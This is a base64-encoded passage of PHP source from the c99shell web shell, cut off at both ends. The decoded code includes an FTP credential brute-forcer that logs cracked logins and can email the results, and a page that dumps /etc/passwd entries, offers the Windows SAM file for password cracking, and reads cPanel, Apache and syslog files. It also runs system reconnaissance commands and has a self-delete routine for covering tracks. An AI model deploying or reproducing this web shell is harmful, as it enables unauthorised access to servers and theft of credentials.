DQogICAgICBlY2hvICI8Yj5Db25uZWN0ZWQgdG8gIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIiB3aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRzdHJbMF0uIlwiPC9iPjxicj4iOw0KICAgICAgJGZxYl9sb2cgLj0gIkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCIsIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcbiI7DQogICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgICRzdWNjZXNzKys7DQogICAgICBvYl9mbHVzaCgpOw0KICAgICB9DQogICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQ0KICAgICAkaSsrOw0KICAgIH0NCiAgICBpZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7ICRmcWJfbG9nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9DQogICAgJGZ0cHF1aWNrX3QgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kZnRwcXVpY2tfc3QsNCk7DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Yj5Eb25lITwvYj48YnI+VG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiI8YnI+VG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIjxicj5TdWNjZXNzLjogPGZvbnQgY29sb3I9Z3JlZW4+PGI+Ii4kc3VjY2Vzcy4iPC9iPjwvZm9udD48YnI+VW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIjwvYj48YnI+Q29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iPGJyPiI7DQogICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxuVG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiJcclxuVG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIlxyXG5TdWNjZXNzLjogIi4kc3VjY2Vzcy4iXHJcblVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iXHJcbiI7DQogICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgaWYgKCRmcWJfbG9nZW1haWwpIHtAbWFpbCgkZnFiX2xvZ2VtYWlsLCJjOTlzaGVsbCB2LiAiLiRzaHZlci4iIHJlcG9ydCIsJGZxYl9sb2cpO30NCiAgICBmY2xvc2UoJGZxYl9sb2dmcCk7DQogICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICAkbG9nZmlsZSA9ICR0bXBkaXJfbG9ncy4iYzk5c2hfZnRwcXVpY2ticnV0ZV8iLmRhdGUoImQubS5ZX0hfaV9zIikuIi5sb2ciOw0KICAgJGxvZ2ZpbGUgPSBzdHJfcmVwbGFjZSgiLy8iLERJUkVDVE9SWV9TRVBBUkFUT1IsJGxvZ2ZpbGUpOw0KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwiZnRwcXVpY2ticnV0ZVwiPjxicj5SZWFkIGZpcnN0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9XCJmcWJfbGVuZ2h0XCIgdmFsdWU9XCIiLiRuaXhwd2RwZXJwYWdlLiJcIj48YnI+PGJyPlVzZXJzIG9ubHkgd2l0aCBzaGVsbD8mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9vbmx5d2l0aHNoXCIgdmFsdWU9XCIxXCI+PGJyPjxicj5Mb2dnaW5nPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj5Mb2dnaW5nIHRvIGZpbGU/Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dmaWxlXCIgdmFsdWU9XCIiLiRsb2dmaWxlLiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dmaWxlKSsyKihzdHJsZW4oJGxvZ2ZpbGUpLzEwKSkuIlwiPjxicj5Mb2dnaW5nIHRvIGUtbWFpbD8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2VtYWlsXCIgdmFsdWU9XCIiLiRsb2dfZW1haWwuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2VtYWlsKSsyKihzdHJsZW4oJGxvZ2VtYWlsKS8xMCkpLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkJydXRlXCI+PC9mb3JtPiI7DQogIH0NCiB9DQp9DQppZiAoJGFjdCA9PSAiZCIpDQp7DQogaWYgKCFpc19kaXIoJGQpKSB7ZWNobyAiPGNlbnRlcj48Yj5QZXJtaXNpb24gZGVuaWVkITwvYj48L2NlbnRlcj4iO30NCiBlbHNlDQogew0KICBlY2hvICI8Yj5EaXJlY3RvcnkgaW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+IjsNCiAgaWYgKCEkd2luKQ0KICB7DQogICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOw0KICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7DQogICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQpKTsNCiAgICRyb3dbXSA9ICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkZCkpOw0KICB9DQogIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1jaG1vZCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPjwvYT48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkKSkuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJwaHBpbmZvIikge0BvYl9jbGVhbigpOyBwaHBpbmZvKCk7IGM5OXNoZXhpdCgpO30NCmlmICgkYWN0ID09ICJzZWN1cml0eSIpDQp7DQogZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb246PC9iPjwvY2VudGVyPjxiPk9wZW4gYmFzZSBkaXI6ICIuJGhvcGVuYmFzZWRpci4iPC9iPjxicj4iOw0KIGlmICghJHdpbikNCiB7DQogIGlmICgkbml4cGFzc3dkKQ0KICB7DQogICBpZiAoJG5peHBhc3N3ZCA9PSAxKSB7JG5peHBhc3N3ZCA9IDA7fQ0KICAgZWNobyAiPGI+Km5peCAvZXRjL3Bhc3N3ZDo8L2I+PGJyPiI7DQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQ0KICAgaWYgKCFpc19udW1lcmljKCRuaXhwd2RfZSkpIHskbml4cHdkX2UgPSAkbml4cHdkcGVycGFnZTt9DQogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCJzZWN1cml0eVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0PVwiIG5hbWU9XCJuaXhwd2Rfc1wiIHZhbHVlPVwiIi4kbml4cHdkX3MuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibml4cHdkX2VcIiB2YWx1ZT1cIiIuJG5peHB3ZF9lLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPjxicj4iOw0KICAgJGkgPSAkbml4cHdkX3M7DQogICB3aGlsZSAoJGkgPCAkbml4cHdkX2UpDQogICB7DQogICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsNCiAgICBpZiAoJHVpZCkNCiAgICB7DQogICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdWlkWyJkaXIiXSkuIlwiPiIuJHVpZFsiZGlyIl0uIjwvYT4iOw0KICAgICBlY2hvIGpvaW4oIjoiLCR1aWQpLiI8YnI+IjsNCiAgICB9DQogICAgJGkrKzsNCiAgIH0NCiAgfQ0KICBlbHNlIHtlY2hvICI8YnI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVkLiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT48YnI+Ijt9DQogfQ0KIGVsc2UNCiB7DQogICR2ID0gJF9TRVJWRVJbIldJTkRJUiJdLiJccmVwYWlyXHNhbSI7DQogIGlmIChmaWxlX2dldF9jb250ZW50cygkdikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1yZWQ+WW91IGNhbid0IGNyYWNrIHdpbm50IHBhc3N3b3JkcygiLiR2LiIpIDwvZm9udD48L2I+PGJyPiI7fQ0KICBlbHNlIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj5Zb3UgY2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyA/PC9mb250PjwvYj48YnI+Ijt9DQogfQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy91c2VyZG9tYWlucyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9dXNlcmRvbWFpbnMmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+VmlldyBjcGFuZWwgdXNlci1kb21haW5zIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1hY2NvdW50aW5nLmxvZyZkPSIudXJsZW5jb2RlKCIvdmFyL2NwYW5lbC8iKS4iXCImZnQ9dHh0Pjx1PjxiPlZpZXcgY3BhbmVsIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9aHR0cGQuY29uZiZkPSIudXJsZW5jb2RlKCIvdXNyL2xvY2FsL2FwYWNoZS9jb25mIikuIiZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9aHR0cGQuY29uZiZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvc3lzbG9nLmNvbmYiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPXN5c2xvZy5jb25mJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPlN5c2xvZyBjb25maWd1cmF0aW9uIChzeXNsb2cuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbW90ZCIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9bW90ZCZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5NZXNzYWdlIE9mIFRoZSBEYXk8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaG9zdHMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWhvc3RzJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPkhvc3RzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9DQogZnVuY3Rpb24gZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKSB7aWYgKCFlbXB0eSgkdmFsdWUpKSB7aWYgKCFlbXB0eSgkbmFtZSkpIHskbmFtZSA9ICI8Yj4iLiRuYW1lLiIgLSA8L2I+Ijt9IGVjaG8gJG5hbWUubmwyYnIoJHZhbHVlKS4iPGJyPiI7fX0NCiBkaXNwbGF5c2VjaW5mbygiT1MgVmVyc2lvbj8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVyc2lvbiIpKTsNCiBkaXNwbGF5c2VjaW5mbygiS2VybmVsIHZlcnNpb24/IixteXNoZWxsZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIG5hbWUiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7DQogZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSAoMikiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy8qLXJlYWxpc2UiKSk7DQogZGlzcGxheXNlY2luZm8oIkNQVT8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsNCiBkaXNwbGF5c2VjaW5mbygiUkFNIixteXNoZWxsZXhlYygiZnJlZSAtbSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSEREIHNwYWNlIixteXNoZWxsZXhlYygiZGYgLWgiKSk7DQogZGlzcGxheXNlY2luZm8oIkxpc3Qgb2YgQXR0cmlidXRlcyIsbXlzaGVsbGV4ZWMoImxzYXR0ciAtYSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiTW91bnQgb3B0aW9ucyAiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSXMgY1VSTCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggY3VybCIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSXMgbHlueCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbHlueCIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSXMgbGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJJcyBmZXRjaCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggZmV0Y2giKSk7DQogZGlzcGxheXNlY2luZm8oIklzIEdFVCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJJcyBwZXJsIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBhcGFjaGUiLG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgcGVybD8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwiKSk7DQogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBwcm9mdHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHJvZnRwZC5jb25mIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgaHR0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBodHRwZC5jb25mIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgbXkuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgcHN5Ym5jLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHN5Ym5jLmNvbmYiKSk7DQp9DQppZiAoJGFjdCA9PSAibWtmaWxlIikNCnsNCiBpZiAoJG1rZmlsZSAhPSAkZCkNCiB7DQogIGlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fQ0KICBlbHNlaWYgKCFmb3BlbigkbWtmaWxlLCJ3IikpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fQ0KICBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJG1rZmlsZSk7IGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gJGYgPSBiYXNlbmFtZSgkbWtmaWxlKTt9DQogfQ0KIGVsc2UgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9DQp9DQppZiAoJGFjdCA9PSAiZW5jb2RlciIpDQp7DQogZWNobyAiPHNjcmlwdD5mdW5jdGlvbiBzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KSB7ZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5pbnB1dC52YWx1ZSA9IHRleHQ7fTwvc2NyaXB0PjxjZW50ZXI+PGI+RW5jb2Rlcjo8L2I+PC9jZW50ZXI+PGZvcm0gbmFtZT1cImVuY29kZXJcIiBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZW5jb2Rlcj48Yj5JbnB1dDo8L2I+PGNlbnRlcj48dGV4dGFyZWEgbmFtZT1cImVuY29kZXJfaW5wdXRcIiBpZD1cImlucHV0XCIgY29scz01MCByb3dzPTU+Ii5AaHRtbHNwZWNpYWxjaGFycygkZW5jb2Rlcl9pbnB1dCkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJjYWxjdWxhdGVcIj48YnI+PGJyPjwvY2VudGVyPjxiPkhhc2hlczwvYj46PGJyPjxjZW50ZXI+IjsNCiBmb3JlYWNoKGFycmF5KCJtZDUiLCJjcnlwdCIsInNoYTEiLCJjcmMzMiIpIGFzICR2KQ0KIHsNCiAgZWNobyAkdi4iIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTUwIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuJHYoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT48YnI+IjsNCiB9DQogZWNobyAiPC9jZW50ZXI+PGI+VXJsOjwvYj48Y2VudGVyPjxicj51cmxlbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT4NCiA8YnI+dXJsZGVjb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+DQogPGJyPjwvY2VudGVyPjxiPkJhc2U2NDo8L2I+PGNlbnRlcj5iYXNlNjRfZW5jb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvY2VudGVyPiI7DQogZWNobyAiPGNlbnRlcj5iYXNlNjRfZGVjb2RlIC0gIjsNCiBpZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJmYWlsZWRcIiBkaXNhYmxlZCByZWFkb25seT4iO30NCiBlbHNlDQogew0KICAkZGViYXNlNjQgPSBiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KTsNCiAgJGRlYmFzZTY0ID0gc3RyX3JlcGxhY2UoIlwwIiwiWzBdIiwkZGViYXNlNjQpOw0KICAkYSA9IGV4cGxvZGUoIlxyXG4iLCRkZWJhc2U2NCk7DQogICRyb3dzID0gY291bnQoJGEpOw0KICAkZGViYXNlNjQgPSBodG1sc3BlY2lhbGNoYXJzKCRkZWJhc2U2NCk7DQogIGlmICgkcm93cyA9PSAxKSB7ZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuJGRlYmFzZTY0LiJcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ijt9DQogIGVsc2UgeyRyb3dzKys7IGVjaG8gIjx0ZXh0YXJlYSBjb2xzPVwiNDBcIiByb3dzPVwiIi4kcm93cy4iXCIgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iLiRkZWJhc2U2NC4iPC90ZXh0YXJlYT4iO30NCiAgZWNobyAiJm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2V0X2VuY29kZXJfaW5wdXQoZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5kZWJhc2U2NC52YWx1ZSlcIj48Yj5ePC9iPjwvYT4iOw0KIH0NCiBlY2hvICI8L2NlbnRlcj48YnI+PGI+QmFzZSBjb252ZXJ0YXRpb25zPC9iPjo8Y2VudGVyPmRlYzJoZXggLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIjsNCiAkYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7DQogZm9yKCRpPTA7JGk8JGM7JGkrKykNCiB7DQogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOw0KICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO30NCiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQ0KIH0NCiBlY2hvICJcIiByZWFkb25seT48YnI+PC9jZW50ZXI+PC9mb3JtPiI7DQp9DQppZiAoJGFjdCA9PSAiZnNidWZmIikNCnsNCiAkYXJyX2NvcHkgPSAkc2Vzc19kYXRhWyJjb3B5Il07DQogJGFycl9jdXQgPSAkc2Vzc19kYXRhWyJjdXQiXTsNCiAkYXJyID0gYXJyYXlfbWVyZ2UoJGFycl9jb3B5LCRhcnJfY3V0KTsNCiBpZiAoY291bnQoJGFycikgPT0gMCkge2VjaG8gIjxjZW50ZXI+PGI+QnVmZmVyIGlzIGVtcHR5ITwvYj48L2NlbnRlcj4iO30NCiBlbHNlIHtlY2hvICI8Yj5GaWxlLVN5c3RlbSBidWZmZXI8L2I+PGJyPjxicj4iOyAkbHNfYXJyID0gJGFycjsgJGRpc3BfZnVsbHBhdGggPSBUUlVFOyAkYWN0ID0gImxzIjt9DQp9DQppZiAoJGFjdCA9PSAic2VsZnJlbW92ZSIpDQp7DQogaWYgKCgkc3VibWl0ID09ICRybmRjb2RlKSBhbmQgKCRzdWJtaXQgIT0gIiIpKQ0KIHsNCiAgaWYgKHVubGluayhfX0ZJTEVfXykpIHtAb2JfY2xlYW4oKTsgZWNobyAiVGhhbmtzIGZvciB1c2luZyBjOTlzaGVsbCB2LiIuJHNodmVyLiIhIjsgYzk5c2hleGl0KCk7IH0NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBkZWxldGUgIi5fX0ZJTEVfXy4iITwvYj48L2NlbnRlcj4iO30NCiB9DQogZWxzZQ0KIHsNCiAgaWYgKCFlbXB0eSgkcm5kY29kZSkpIHtlY2hvICI8Yj5FcnJvcjogaW5jb3JyZWN0IGNvbmZpbWF0aW9uITwvYj4iO30NCiAgJHJuZCA9IHJhbmQoMCw5KS5yYW5kKDAsOSkucmFuZCgwLDkpOw0KICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9c2VsZnJlbW92ZT48Yj5TZWxmLXJlbW92ZTogIi5fX0ZJTEVfXy4iIDxicj48Yj5BcmUgeW91IHN1cmU/PGJyPkZvciBjb25maXJtYXRpb24sIGVudGVyIFwiIi4kcm5kLiJcIjwvYj46Jm5ic3A7PGlucHV0IHR5c